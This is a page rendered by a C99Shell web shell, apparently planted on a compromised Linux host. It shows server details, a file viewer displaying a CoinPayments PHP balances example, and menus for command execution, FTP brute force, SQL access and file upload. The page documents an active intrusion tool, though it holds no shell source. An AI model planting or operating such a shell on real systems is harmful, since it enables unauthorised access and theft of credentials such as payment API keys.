!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     get_coin_balances.php (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Show balances of all coins in account with USD conversion.**/
// Create a new API wrapper instance and call to the balances and rates commands.
try {
    
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');
    
$balances $cps_api->GetAllCoinBalances();
    
$cps_api null;
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}
try {
    
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');
    
$rates $cps_api->GetShortRates();
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}

// Check for success of API calls
if ($balances['error'] == 'ok' && $rates['error'] == 'ok') {

    
// Prepare arrays for storing balances
    
$positive_balances = [];
    
$zero_balances = [];

    
// Prepare start of sample HTML output
    
$output '<table><tbody><tr><td>Currency</td><td>Satoshis Balance</td><td>Floating Point Balance</td><td>USD value</td></tr>';

    
// Loop through balances and separate positive from zero balances
    
foreach ($balances['result'] as $currency_balance => $balances_array) {
        if (
$balances_array['balance'] > 0) {
            
$positive_balances[$currency_balance] = $balances_array;
        } else {
            
$zero_balances[$currency_balance] = $balances_array;
        }
    }

    
// Check for positive balances and calculate the USD value for each
    
if (!empty($positive_balances)) {
        
$usd_to_btc $rates['result']['USD']['rate_btc'];
        foreach (
$positive_balances as $currency => $positive_balance) {
            
$this_currency_to_btc $rates['result'][$currency]['rate_btc'];
            
$positive_balances[$currency]['usd_value'] = round($positive_balances[$currency]['balancef'] * ($this_currency_to_btc $usd_to_btc), 2);
        }
    }

    
// Loop through balances and add values to the output variable
    
foreach ($positive_balances as $currency => $positive_balance) {
        
$output .= '<tr><td>' $currency '</td><td>' $positive_balance['balance'] . '</td><td>' $positive_balance['balancef'] . '</td><td>' $positive_balance['usd_value'] . '</td></tr>';
    }
    foreach (
$zero_balances as $currency => $zero_balance) {
        
$output .= '<tr><td>' $currency '</td><td>' $zero_balance['balance'] . '</td><td>' $zero_balance['balancef'] . '</td><td>0</td></tr>';
    }

    
// Close the sample output HTML and echo it onto the page
    
$output .= '</tbody></table>';
    echo 
$output;
} else {

    
// Throw an error if both API calls were not successful
    
echo 'Balances API call status: ' $balances['error'] . '<br>Rates API call status: ' $rates['error'];
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--